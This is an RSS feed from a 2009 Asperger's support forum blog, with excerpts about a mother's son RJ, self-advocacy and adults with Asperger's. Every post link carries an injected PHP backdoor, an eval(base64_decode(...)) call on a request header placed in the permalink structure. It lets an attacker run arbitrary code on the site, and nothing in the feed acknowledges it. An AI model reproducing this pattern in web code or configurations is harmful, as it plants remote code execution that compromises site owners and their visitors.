http://georgiaaspergersorganization.org/blog Georgia Asperger's Organization discussion forum for friends, families, and communities with Asperger's Syndrome as well as Aspies seeking and giving support Wed, 24 Jun 2009 03:16:30 +0000 http://backend.userland.com/rss092 en Since RJ blends in so well with others from a physical perspective, it is difficult for teachers or peers to recognize & understand his social & communcation impairments, therefore many peeps misread his body language and responces. AND PLEASE DON'T "make" him make eye contact with you because quite ... http://georgiaaspergersorganization.org/blog/2009/06/22/one-of-our-challenges/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Are you a parent with aspergers or do you have a family member with aspergers? What has it been like? http://georgiaaspergersorganization.org/blog/2009/06/22/are-you-a-parent/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Who is your greatest or fav hero & why? http://georgiaaspergersorganization.org/blog/2009/06/22/heros/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Do other's help you advocate for yourself or are you able to recognize when , where, & why it is important to speak up for yourself? when was the last time you did and what were the circumstances? http://georgiaaspergersorganization.org/blog/2009/06/22/do-others-help-you-advocate/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Do you know any aspies 20 yrs old or older? If so how is your friendship / relationship w/them? http://georgiaaspergersorganization.org/blog/2009/06/22/do-you-know-any-aspies/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Last night was the first time EVER that RJ initiated a get together with someone other than me (his mom). We, (the family & extended family) were all sitting at the table talking about movies, etc. and one of the guys mentioned Star Wars, then he said to his uncle ... http://georgiaaspergersorganization.org/blog/2009/06/22/inside-the-life-of-aspergers/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I think if we (Aspies) know why we are more unique than other people then we will better know how to advocate for our selves and also know what obstacles to be aware of. For instance, I know a guy who knows that he sometimes says inappropriate comments but ... http://georgiaaspergersorganization.org/blog/2009/06/19/self-advocacy-for-aspies/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Aspies have awesome strengths & qualities & some have the most interesting stories to share. I know this one guy who did'nt even know he was an aspie until his freshman year in college & he went all the way through school w/out alot of necessary support & accommodations. ... http://georgiaaspergersorganization.org/blog/2009/06/19/who-and-where-are-the-adults-with-aspergers/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ We are a community of friends, families, parents, professionals, & aspies of all ages excited about the opportunities of this discussion forum and the friendships that are being developed. I know that many aspies who "growup" often go on to lead very satisfying & rewarding lives and may become ... http://georgiaaspergersorganization.org/blog/2009/06/17/hello-world/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/